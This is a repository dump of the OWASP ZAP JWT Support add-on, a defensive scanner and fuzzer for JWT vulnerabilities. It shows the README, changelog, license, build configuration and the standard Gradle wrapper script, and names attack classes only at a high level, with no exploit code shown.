├── .github ├── FUNDING.yml ├── ISSUE_TEMPLATE │ ├── bug_report.md │ └── feature_request.md └── workflows │ └── gradle.yml ├── .gitignore ├── .vscode └── launch.json ├── CHANGELOG.md ├── LICENSE ├── README.md ├── build.gradle.kts ├── docs └── images │ ├── fuzzer-animation.gif │ ├── fuzzer-view.png │ └── jwt-options-panel.png ├── gradle.properties ├── gradle ├── spotless │ └── License.java └── wrapper │ ├── gradle-wrapper.jar │ └── gradle-wrapper.properties ├── gradlew ├── gradlew.bat ├── settings.gradle.kts └── src └── main ├── java └── org │ └── zaproxy │ └── zap │ └── extension │ └── jwt │ ├── JWTActiveScanRule.java │ ├── JWTConfiguration.java │ ├── JWTExtension.java │ ├── JWTHolder.java │ ├── JWTI18n.java │ ├── attacks │ ├── ClientSideAttack.java │ ├── HeaderAttack.java │ ├── JWTAttack.java │ ├── MiscAttack.java │ ├── PayloadAttack.java │ ├── ServerSideAttack.java │ └── SignatureAttack.java │ ├── exception │ └── JWTException.java │ ├── fuzzer │ ├── messagelocations │ │ ├── FuzzerJWTSignatureOperation.java │ │ ├── JWTMessageLocation.java │ │ ├── JWTMessageLocationReplacer.java │ │ └── JWTMessageLocationReplacerFactory.java │ └── ui │ │ ├── GenericCriteriaBasedMessageLocationProducerFocusListenerAdapter.java │ │ ├── JWTFuzzPanelView.java │ │ └── JWTFuzzPanelViewFactory.java │ ├── ui │ └── JWTOptionsPanel.java │ └── utils │ ├── JWTConstants.java │ ├── JWTUIUtils.java │ ├── JWTUtils.java │ └── VulnerabilityType.java └── resources ├── org └── zaproxy │ └── zap │ └── extension │ └── jwt │ └── resources │ └── Messages.properties └── weakKeys └── wallarm_jwt_hmac_secrets_list /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | github: [preetkaran20] 2 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/bug_report.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Bug report 3 | about: Create a report to help us improve 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Describe the bug** 11 | A clear and concise description of what the bug is. 12 | 13 | **To Reproduce** 14 | Steps to reproduce the behavior: 15 | 1. Go to '...' 16 | 2. Click on '....' 17 | 3. Scroll down to '....' 18 | 4. See error 19 | 20 | **Expected behavior** 21 | A clear and concise description of what you expected to happen. 22 | 23 | **Screenshots** 24 | If applicable, add screenshots to help explain your problem. 25 | 26 | **Desktop (please complete the following information):** 27 | - OS: [e.g. iOS] 28 | - Browser [e.g. chrome, safari] 29 | - Version [e.g. 22] 30 | 31 | **Smartphone (please complete the following information):** 32 | - Device: [e.g. iPhone6] 33 | - OS: [e.g. iOS8.1] 34 | - Browser [e.g. stock browser, safari] 35 | - Version [e.g. 22] 36 | 37 | **Additional context** 38 | Add any other context about the problem here. 39 | 40 | **Would you like to help fix this issue?** 41 | Just say if you'd like to try and help fix this issue. We'll provide any advice and guidance you need. 42 | -------------------------------------------------------------------------------- /.github/ISSUE_TEMPLATE/feature_request.md: -------------------------------------------------------------------------------- 1 | --- 2 | name: Feature request 3 | about: Suggest an idea for this project 4 | title: '' 5 | labels: '' 6 | assignees: '' 7 | 8 | --- 9 | 10 | **Is your feature request related to a problem? Please describe.** 11 | A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] 12 | 13 | **Describe the solution you'd like** 14 | A clear and concise description of what you want to happen. 15 | 16 | **Describe alternatives you've considered** 17 | A clear and concise description of any alternative solutions or features you've considered. 18 | 19 | **Would you like to help fix this issue?** 20 | Just say if you'd like to try and help fix this issue. We'll provide any advice and guidance you need. 21 | 22 | **Additional context** 23 | Add any other context or screenshots about the feature request here. 24 | -------------------------------------------------------------------------------- /.github/workflows/gradle.yml: -------------------------------------------------------------------------------- 1 | # This workflow will build a Java project with Gradle 2 | # For more information see: https://help.github.com/actions/language-and-framework-guides/building-and-testing-java-with-gradle 3 | 4 | name: Java CI with Gradle 5 | 6 | on: 7 | push: 8 | branches: [ master ] 9 | pull_request: 10 | branches: [ master ] 11 | 12 | jobs: 13 | build: 14 | 15 | runs-on: ubuntu-latest 16 | 17 | steps: 18 | - uses: actions/checkout@v2 19 | - name: Set up JDK 11 20 | uses: actions/setup-java@v1 21 | with: 22 | java-version: 11 23 | - name: Grant execute permission for gradlew 24 | run: chmod +x gradlew 25 | - name: Build with Gradle 26 | run: ./gradlew build 27 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Gradle 2 | #------- 3 | .gradle 4 | /build 5 | /buildSrc/build 6 | 7 | # IDEA 8 | # ---- 9 | .idea 10 | .shelf 11 | /*.iml 12 | /*.ipr 13 | /*.iws 14 | /buildSrc/*.iml 15 | /buildSrc/*.ipr 16 | /buildSrc/*.iws 17 | /buildSrc/out 18 | /out 19 | 20 | # Eclipse 21 | # ------- 22 | *.classpath 23 | *.project 24 | *.settings 25 | /bin 26 | /buildSrc/bin 27 | 28 | # NetBeans 29 | # -------- 30 | .nb-gradle 31 | .nb-gradle-properties -------------------------------------------------------------------------------- /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "0.2.0", 3 | "configurations": [ 4 | { 5 | "type": "java", 6 | "name": "Debug (Attach)", 7 | "projectName": "MyApplication", 8 | "request": "attach", 9 | "hostName": "localhost", 10 | "port": 5005 11 | } 12 | ] 13 | } -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # Changelog 2 | All notable changes to this add-on will be documented in this file. 3 | 4 | The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/). 5 | 6 | ### Unreleased 7 | - Upgraded spotless version 8 | - Added vscode launch.json 9 | 10 | ### Changed 11 | - Added checks to not raise alerts in CSS, JavaScript or 404 status code pages. 12 | 13 | ### [1.0.3] - 2023-01-01 14 | - Ensure i18n resources are always initialized. 15 | - Added support for incorrect signature type attack. 16 | 17 | ### [1.0.2] - 2022-01-17 18 | - Sonar Fixes. 19 | - Updated Client side attack to introduce warning if HTTP Header contains JWT. 20 | - Added support for scanning Authorization Header Issue: #31 21 | - Corrected the Fuzzer Panel User interface expansion issue 22 | 23 | ### [1.0.1] - 2020-12-18 24 | - Increased the number of requests for High threshold to 18 from 12. 25 | - Client side configuration alerts will not stop the scanner from scanning server side configurations. 26 | - Support for validating usage of publicly well known HMac secrets for signing JWT. 27 | 28 | ## [1.0.0] - 2020-09-03 29 | 30 | - First version of JWT Support. 31 | - Contains scanning rules for basic JWT related vulnerabilities. 32 | - Contains JWT Fuzzer for fuzzing the JWT's present in the request. 33 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Apache License 2 | Version 2.0, January 2004 3 | http://www.apache.org/licenses/ 4 | 5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 6 | 7 | 1. Definitions. 8 | 9 | "License" shall mean the terms and conditions for use, reproduction, 10 | and distribution as defined by Sections 1 through 9 of this document. 11 | 12 | "Licensor" shall mean the copyright owner or entity authorized by 13 | the copyright owner that is granting the License. 14 | 15 | "Legal Entity" shall mean the union of the acting entity and all 16 | other entities that control, are controlled by, or are under common 17 | control with that entity. For the purposes of this definition, 18 | "control" means (i) the power, direct or indirect, to cause the 19 | direction or management of such entity, whether by contract or 20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the 21 | outstanding shares, or (iii) beneficial ownership of such entity. 22 | 23 | "You" (or "Your") shall mean an individual or Legal Entity 24 | exercising permissions granted by this License. 25 | 26 | "Source" form shall mean the preferred form for making modifications, 27 | including but not limited to software source code, documentation 28 | source, and configuration files. 29 | 30 | "Object" form shall mean any form resulting from mechanical 31 | transformation or translation of a Source form, including but 32 | not limited to compiled object code, generated documentation, 33 | and conversions to other media types. 34 | 35 | "Work" shall mean the work of authorship, whether in Source or 36 | Object form, made available under the License, as indicated by a 37 | copyright notice that is included in or attached to the work 38 | (an example is provided in the Appendix below). 39 | 40 | "Derivative Works" shall mean any work, whether in Source or Object 41 | form, that is based on (or derived from) the Work and for which the 42 | editorial revisions, annotations, elaborations, or other modifications 43 | represent, as a whole, an original work of authorship. For the purposes 44 | of this License, Derivative Works shall not include works that remain 45 | separable from, or merely link (or bind by name) to the interfaces of, 46 | the Work and Derivative Works thereof. 47 | 48 | "Contribution" shall mean any work of authorship, including 49 | the original version of the Work and any modifications or additions 50 | to that Work or Derivative Works thereof, that is intentionally 51 | submitted to Licensor for inclusion in the Work by the copyright owner 52 | or by an individual or Legal Entity authorized to submit on behalf of 53 | the copyright owner. For the purposes of this definition, "submitted" 54 | means any form of electronic, verbal, or written communication sent 55 | to the Licensor or its representatives, including but not limited to 56 | communication on electronic mailing lists, source code control systems, 57 | and issue tracking systems that are managed by, or on behalf of, the 58 | Licensor for the purpose of discussing and improving the Work, but 59 | excluding communication that is conspicuously marked or otherwise 60 | designated in writing by the copyright owner as "Not a Contribution." 61 | 62 | "Contributor" shall mean Licensor and any individual or Legal Entity 63 | on behalf of whom a Contribution has been received by Licensor and 64 | subsequently incorporated within the Work. 65 | 66 | 2. Grant of Copyright License. Subject to the terms and conditions of 67 | this License, each Contributor hereby grants to You a perpetual, 68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 69 | copyright license to reproduce, prepare Derivative Works of, 70 | publicly display, publicly perform, sublicense, and distribute the 71 | Work and such Derivative Works in Source or Object form. 72 | 73 | 3. Grant of Patent License. Subject to the terms and conditions of 74 | this License, each Contributor hereby grants to You a perpetual, 75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable 76 | (except as stated in this section) patent license to make, have made, 77 | use, offer to sell, sell, import, and otherwise transfer the Work, 78 | where such license applies only to those patent claims licensable 79 | by such Contributor that are necessarily infringed by their 80 | Contribution(s) alone or by combination of their Contribution(s) 81 | with the Work to which such Contribution(s) was submitted. If You 82 | institute patent litigation against any entity (including a 83 | cross-claim or counterclaim in a lawsuit) alleging that the Work 84 | or a Contribution incorporated within the Work constitutes direct 85 | or contributory patent infringement, then any patent licenses 86 | granted to You under this License for that Work shall terminate 87 | as of the date such litigation is filed. 88 | 89 | 4. Redistribution. You may reproduce and distribute copies of the 90 | Work or Derivative Works thereof in any medium, with or without 91 | modifications, and in Source or Object form, provided that You 92 | meet the following conditions: 93 | 94 | (a) You must give any other recipients of the Work or 95 | Derivative Works a copy of this License; and 96 | 97 | (b) You must cause any modified files to carry prominent notices 98 | stating that You changed the files; and 99 | 100 | (c) You must retain, in the Source form of any Derivative Works 101 | that You distribute, all copyright, patent, trademark, and 102 | attribution notices from the Source form of the Work, 103 | excluding those notices that do not pertain to any part of 104 | the Derivative Works; and 105 | 106 | (d) If the Work includes a "NOTICE" text file as part of its 107 | distribution, then any Derivative Works that You distribute must 108 | include a readable copy of the attribution notices contained 109 | within such NOTICE file, excluding those notices that do not 110 | pertain to any part of the Derivative Works, in at least one 111 | of the following places: within a NOTICE text file distributed 112 | as part of the Derivative Works; within the Source form or 113 | documentation, if provided along with the Derivative Works; or, 114 | within a display generated by the Derivative Works, if and 115 | wherever such third-party notices normally appear. The contents 116 | of the NOTICE file are for informational purposes only and 117 | do not modify the License. You may add Your own attribution 118 | notices within Derivative Works that You distribute, alongside 119 | or as an addendum to the NOTICE text from the Work, provided 120 | that such additional attribution notices cannot be construed 121 | as modifying the License. 122 | 123 | You may add Your own copyright statement to Your modifications and 124 | may provide additional or different license terms and conditions 125 | for use, reproduction, or distribution of Your modifications, or 126 | for any such Derivative Works as a whole, provided Your use, 127 | reproduction, and distribution of the Work otherwise complies with 128 | the conditions stated in this License. 129 | 130 | 5. Submission of Contributions. Unless You explicitly state otherwise, 131 | any Contribution intentionally submitted for inclusion in the Work 132 | by You to the Licensor shall be under the terms and conditions of 133 | this License, without any additional terms or conditions. 134 | Notwithstanding the above, nothing herein shall supersede or modify 135 | the terms of any separate license agreement you may have executed 136 | with Licensor regarding such Contributions. 137 | 138 | 6. Trademarks. This License does not grant permission to use the trade 139 | names, trademarks, service marks, or product names of the Licensor, 140 | except as required for reasonable and customary use in describing the 141 | origin of the Work and reproducing the content of the NOTICE file. 142 | 143 | 7. Disclaimer of Warranty. Unless required by applicable law or 144 | agreed to in writing, Licensor provides the Work (and each 145 | Contributor provides its Contributions) on an "AS IS" BASIS, 146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or 147 | implied, including, without limitation, any warranties or conditions 148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A 149 | PARTICULAR PURPOSE. You are solely responsible for determining the 150 | appropriateness of using or redistributing the Work and assume any 151 | risks associated with Your exercise of permissions under this License. 152 | 153 | 8. Limitation of Liability. In no event and under no legal theory, 154 | whether in tort (including negligence), contract, or otherwise, 155 | unless required by applicable law (such as deliberate and grossly 156 | negligent acts) or agreed to in writing, shall any Contributor be 157 | liable to You for damages, including any direct, indirect, special, 158 | incidental, or consequential damages of any character arising as a 159 | result of this License or out of the use or inability to use the 160 | Work (including but not limited to damages for loss of goodwill, 161 | work stoppage, computer failure or malfunction, or any and all 162 | other commercial damages or losses), even if such Contributor 163 | has been advised of the possibility of such damages. 164 | 165 | 9. Accepting Warranty or Additional Liability. While redistributing 166 | the Work or Derivative Works thereof, You may choose to offer, 167 | and charge a fee for, acceptance of support, warranty, indemnity, 168 | or other liability obligations and/or rights consistent with this 169 | License. However, in accepting such obligations, You may act only 170 | on Your own behalf and on Your sole responsibility, not on behalf 171 | of any other Contributor, and only if You agree to indemnify, 172 | defend, and hold each Contributor harmless for any liability 173 | incurred by, or claims asserted against, such Contributor by reason 174 | of your accepting any such warranty or additional liability. 175 | 176 | END OF TERMS AND CONDITIONS 177 | 178 | APPENDIX: How to apply the Apache License to your work. 179 | 180 | To apply the Apache License to your work, attach the following 181 | boilerplate notice, with the fields enclosed by brackets "[]" 182 | replaced with your own identifying information. (Don't include 183 | the brackets!) The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # ZAP JWT Add-on 2 | [![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0) ![](https://img.shields.io/github/v/release/SasanLabs/owasp-zap-jwt-addon?style=flat) [![PRs Welcome](https://img.shields.io/badge/PRs-welcome-brightgreen.svg?style=flat-square)](http://makeapullrequest.com) ![Java CI with Gradle](https://github.com/SasanLabs/owasp-zap-jwt-addon/workflows/Java%20CI%20with%20Gradle/badge.svg?branch=master) [![](https://img.shields.io/twitter/follow/sasan_karan?style=flat&logo=twitter)](https://twitter.com/intent/follow?screen_name=sasan_karan) 3 | 4 | This Project contains the JWT Scanner and JWT Fuzzer addon used for finding JWT related vulnerabilities. 5 | 6 | ## Why this addon is needed 7 | With the popularity of JSON Web Tokens (JWTs) there comes the need to secure their use so that they are not misused because of bad configuration, older libraries, or buggy implementations. So the JWT Support add-on is used to find such vulnerabilities and this blog explains on how to use it. 8 | 9 | ## Configuration 10 | As the JWT add-on includes a rule for the Active Scanner as well as Fuzzer functionality, there are configuration details which are specific for the JWT add-on. 11 | Under ZAP's Options dialog you will find a JWT section as shown below: 12 | ![JWT](./docs/images/jwt-options-panel.png) 13 | 14 | ### Explanation 15 | #### Scanner Configuration: 16 | 17 | In case the application which you are trying to scan is using RSA or more specifically RS* algorithm then please configure the public certificate TrustStore path and TrustStore password. These fields are used to find certain vulnerabilities related to RS* based JWTs. 18 | 19 | The Enable Client Configuration Scan option is used to enable client-side validations like JWT being sent to the browser in an insecure or non-recommended way. 20 | 21 | #### Fuzzer Configuration: 22 | 23 | Since JWT is a signed token; fuzzing field values requires resigning the JWT therefore the fuzzer requires an HMac secret key or RSA private key as per the algorithm header field of the JWT. So that the Fuzzer configuration corresponds to the same. 24 | 25 | ### Scanner Vulnerability Coverage 26 | The JWT add-on's scan rule attempts to identified vulnerabilities in both Client/Browser and Server/Library implementations. 27 | 28 | For the Client-side it covers most of the vulnerabilities mentioned in the [OWASP JWT CheatSheet](https://cheatsheetseries.owasp.org/cheatsheets/JSON_Web_Token_for_Java_Cheat_Sheet.html#token-storage-on-client-side). 29 | 30 | For Server-side it mainly covers following vulnerabilities: 31 | 1. [None Algorithm attack](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/#Meet.the..None..Algorithm) 32 | 2. [Algorithm Confusion attack](https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/#RSA.or.HMAC.) 33 | 3. [Trusting JWK provided with the Token](https://nvd.nist.gov/vuln/detail/CVE-2018-0114) 34 | 4. Empty JWT 35 | 5. Null Byte Injection attack 36 | 6. [Weak JWT secrets](https://lab.wallarm.com/340-weak-jwt-secrets-you-should-check-in-your-code/) 37 | 38 | ### Fuzzer View 39 | JWT Fuzzer view is different from HTTP Fuzzer view as JWT's need to be parsed, then JWT field values can be fuzzed. The following is the Fuzzer view: 40 | ![Fuzzer View](./docs/images/fuzzer-view.png) 41 | 42 | The **Signature Operation** drop down is used to control the operations on the Signature field of JWT. 43 | 1. **No Signature**: This value is used to remove the signature component from the newly fuzzed JWT. 44 | 2. **Same Signature**: This value is used to use the same signature for the newly fuzzed JWT. 45 | 3. **New Signature**: This value is used to generate new signature for the newly fuzzed JWT. 46 | 47 | The **Component** drop down is used to choose the **Header** or the **Payload** components of the JWT. 48 | 49 | The **Key** drop down is used to choose the fields to be fuzzed in the **Header** or **Payload** components of the JWT. 50 | 51 | ### Fuzzer View Animation 52 | ![Fuzzer Animation](./docs/images/fuzzer-animation.gif) 53 | 54 | The JWT add-on is available in the marketplace and can be installed from within ZAP. 55 | For more information please visit [JWT Support](https://github.com/SasanLabs/owasp-zap-jwt-addon) 56 | 57 | ## Contributing guidelines 58 | Contributing guidelines are same as [ZAP](https://github.com/zaproxy/zaproxy). 59 | 60 | For enhancing/developing or debugging the Addon: [video tutorial](https://www.youtube.com/watch?v=1AlacNHHaFg&t=1s) 61 | 62 | ## Contact Us 63 | For any Queries/Bugs or Enhancement please raise an issue in this repository or ask in [ZAP Developer Group](https://groups.google.com/g/zaproxy-develop). 64 | For any other kind of issues please send an email to karan.sasan@owasp.org 65 | 66 | ## Technical Blog 67 | [JWT addon blog](https://www.zaproxy.org/blog/2020-09-03-zap-jwt-scanner/) 68 | 69 | -------------------------------------------------------------------------------- /build.gradle.kts: -------------------------------------------------------------------------------- 1 | import org.zaproxy.gradle.addon.AddOnPlugin 2 | import org.zaproxy.gradle.addon.AddOnStatus 3 | import org.zaproxy.gradle.addon.misc.ConvertMarkdownToHtml 4 | import org.zaproxy.gradle.addon.misc.CreateGitHubRelease 5 | import org.zaproxy.gradle.addon.misc.ExtractLatestChangesFromChangelog 6 | 7 | plugins { 8 | id("com.diffplug.spotless") version "6.25.0" 9 | id("com.github.ben-manes.versions") version "0.39.0" 10 | `java-library` 11 | id("org.zaproxy.add-on") version "0.7.0" 12 | } 13 | 14 | repositories { 15 | mavenCentral() 16 | } 17 | 18 | java { 19 | sourceCompatibility = JavaVersion.VERSION_11 20 | targetCompatibility = JavaVersion.VERSION_11 21 | } 22 | 23 | spotless { 24 | java { 25 | licenseHeaderFile("./gradle/spotless/License.java") 26 | googleJavaFormat().aosp() 27 | } 28 | } 29 | 30 | tasks.withType().configureEach { options.encoding = "utf-8" } 31 | 32 | tasks.compileJava { 33 | dependsOn("spotlessApply") 34 | } 35 | 36 | version = "1.0.3" 37 | description = "Detect JWT requests and scan them to find related vulnerabilities" 38 | 39 | zapAddOn { 40 | addOnName.set("JWT Support") 41 | zapVersion.set("2.11.1") 42 | addOnStatus.set(AddOnStatus.ALPHA) 43 | 44 | manifest { 45 | author.set("KSASAN preetkaran20@gmail.com") 46 | repo.set("https://github.com/SasanLabs/owasp-zap-jwt-addon/") 47 | dependencies { 48 | addOns { 49 | register("commonlib") 50 | register("fuzz") { 51 | version.set("13.*") 52 | } 53 | } 54 | } 55 | changesFile.set(tasks.named("generateManifestChanges").flatMap { it.html }) 56 | } 57 | } 58 | 59 | dependencies { 60 | implementation("org.json:json:20210307") 61 | // https://mvnrepository.com/artifact/com.nimbusds/nimbus-jose-jwt 62 | implementation("com.nimbusds:nimbus-jose-jwt:8.3") 63 | 64 | compileOnly("org.zaproxy.addon:commonlib:1.0.0") 65 | 66 | // https://mvnrepository.com/artifact/org.zaproxy.addon/fuzz 67 | compileOnly("org.zaproxy.addon:fuzz:13.0.0") 68 | 69 | testImplementation("org.zaproxy.addon:commonlib:1.0.0") 70 | } 71 | -------------------------------------------------------------------------------- /docs/images/fuzzer-animation.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SasanLabs/owasp-zap-jwt-addon/f575762a5ee1b9892595c6e571a577a328814b33/docs/images/fuzzer-animation.gif -------------------------------------------------------------------------------- /docs/images/fuzzer-view.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SasanLabs/owasp-zap-jwt-addon/f575762a5ee1b9892595c6e571a577a328814b33/docs/images/fuzzer-view.png -------------------------------------------------------------------------------- /docs/images/jwt-options-panel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SasanLabs/owasp-zap-jwt-addon/f575762a5ee1b9892595c6e571a577a328814b33/docs/images/jwt-options-panel.png -------------------------------------------------------------------------------- /gradle.properties: -------------------------------------------------------------------------------- 1 | org.gradle.caching=true 2 | org.gradle.parallel=false -------------------------------------------------------------------------------- /gradle/spotless/License.java: -------------------------------------------------------------------------------- 1 | /** 2 | * Copyright $YEAR SasanLabs 3 | * 4 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not 5 | * use this file except in compliance with the License. You may obtain a copy of 6 | * the License at 7 | * 8 | * http://www.apache.org/licenses/LICENSE-2.0 9 | * 10 | * Unless required by applicable law or agreed to in writing, software 11 | * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT 12 | * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the 13 | * License for the specific language governing permissions and limitations under 14 | * the License. 15 | **/ -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SasanLabs/owasp-zap-jwt-addon/f575762a5ee1b9892595c6e571a577a328814b33/gradle/wrapper/gradle-wrapper.jar -------------------------------------------------------------------------------- /gradle/wrapper/gradle-wrapper.properties: -------------------------------------------------------------------------------- 1 | distributionBase=GRADLE_USER_HOME 2 | distributionPath=wrapper/dists 3 | distributionSha256Sum=81003f83b0056d20eedf48cddd4f52a9813163d4ba185bcf8abd34b8eeea4cbd 4 | distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-all.zip 5 | zipStoreBase=GRADLE_USER_HOME 6 | zipStorePath=wrapper/dists 7 | -------------------------------------------------------------------------------- /gradlew: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | 3 | # 4 | # Copyright 2015 the original author or authors. 5 | # 6 | # Licensed under the Apache License, Version 2.0 (the "License"); 7 | # you may not use this file except in compliance with the License. 8 | # You may obtain a copy of the License at 9 | # 10 | # https://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # Unless required by applicable law or agreed to in writing, software 13 | # distributed under the License is distributed on an "AS IS" BASIS, 14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | # See the License for the specific language governing permissions and 16 | # limitations under the License. 17 | # 18 | 19 | ############################################################################## 20 | ## 21 | ## Gradle start up script for UN*X 22 | ## 23 | ############################################################################## 24 | 25 | # Attempt to set APP_HOME 26 | # Resolve links: $0 may be a link 27 | PRG="$0" 28 | # Need this for relative symlinks. 29 | while [ -h "$PRG" ] ; do 30 | ls=`ls -ld "$PRG"` 31 | link=`expr "$ls" : '.*-> \(.*\)$'` 32 | if expr "$link" : '/.*' > /dev/null; then 33 | PRG="$link" 34 | else 35 | PRG=`dirname "$PRG"`"/$link" 36 | fi 37 | done 38 | SAVED="`pwd`" 39 | cd "`dirname \"$PRG\"`/" >/dev/null 40 | APP_HOME="`pwd -P`" 41 | cd "$SAVED" >/dev/null 42 | 43 | APP_NAME="Gradle" 44 | APP_BASE_NAME=`basename "$0"` 45 | 46 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 47 | DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' 48 | 49 | # Use the maximum available, or set MAX_FD != -1 to use that value. 50 | MAX_FD="maximum" 51 | 52 | warn () { 53 | echo "$*" 54 | } 55 | 56 | die () { 57 | echo 58 | echo "$*" 59 | echo 60 | exit 1 61 | } 62 | 63 | # OS specific support (must be 'true' or 'false'). 64 | cygwin=false 65 | msys=false 66 | darwin=false 67 | nonstop=false 68 | case "`uname`" in 69 | CYGWIN* ) 70 | cygwin=true 71 | ;; 72 | Darwin* ) 73 | darwin=true 74 | ;; 75 | MINGW* ) 76 | msys=true 77 | ;; 78 | NONSTOP* ) 79 | nonstop=true 80 | ;; 81 | esac 82 | 83 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar 84 | 85 | 86 | # Determine the Java command to use to start the JVM. 87 | if [ -n "$JAVA_HOME" ] ; then 88 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 89 | # IBM's JDK on AIX uses strange locations for the executables 90 | JAVACMD="$JAVA_HOME/jre/sh/java" 91 | else 92 | JAVACMD="$JAVA_HOME/bin/java" 93 | fi 94 | if [ ! -x "$JAVACMD" ] ; then 95 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME 96 | 97 | Please set the JAVA_HOME variable in your environment to match the 98 | location of your Java installation." 99 | fi 100 | else 101 | JAVACMD="java" 102 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 103 | 104 | Please set the JAVA_HOME variable in your environment to match the 105 | location of your Java installation." 106 | fi 107 | 108 | # Increase the maximum file descriptors if we can. 109 | if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then 110 | MAX_FD_LIMIT=`ulimit -H -n` 111 | if [ $? -eq 0 ] ; then 112 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then 113 | MAX_FD="$MAX_FD_LIMIT" 114 | fi 115 | ulimit -n $MAX_FD 116 | if [ $? -ne 0 ] ; then 117 | warn "Could not set maximum file descriptor limit: $MAX_FD" 118 | fi 119 | else 120 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" 121 | fi 122 | fi 123 | 124 | # For Darwin, add options to specify how the application appears in the dock 125 | if $darwin; then 126 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" 127 | fi 128 | 129 | # For Cygwin or MSYS, switch paths to Windows format before running java 130 | if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then 131 | APP_HOME=`cygpath --path --mixed "$APP_HOME"` 132 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` 133 | 134 | JAVACMD=`cygpath --unix "$JAVACMD"` 135 | 136 | # We build the pattern for arguments to be converted via cygpath 137 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` 138 | SEP="" 139 | for dir in $ROOTDIRSRAW ; do 140 | ROOTDIRS="$ROOTDIRS$SEP$dir" 141 | SEP="|" 142 | done 143 | OURCYGPATTERN="(^($ROOTDIRS))" 144 | # Add a user-defined pattern to the cygpath arguments 145 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then 146 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" 147 | fi 148 | # Now convert the arguments - kludge to limit ourselves to /bin/sh 149 | i=0 150 | for arg in "$@" ; do 151 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` 152 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option 153 | 154 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition 155 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` 156 | else 157 | eval `echo args$i`="\"$arg\"" 158 | fi 159 | i=`expr $i + 1` 160 | done 161 | case $i in 162 | 0) set -- ;; 163 | 1) set -- "$args0" ;; 164 | 2) set -- "$args0" "$args1" ;; 165 | 3) set -- "$args0" "$args1" "$args2" ;; 166 | 4) set -- "$args0" "$args1" "$args2" "$args3" ;; 167 | 5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; 168 | 6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; 169 | 7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; 170 | 8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; 171 | 9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; 172 | esac 173 | fi 174 | 175 | # Escape application args 176 | save () { 177 | for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done 178 | echo " " 179 | } 180 | APP_ARGS=`save "$@"` 181 | 182 | # Collect all arguments for the java command, following the shell quoting and substitution rules 183 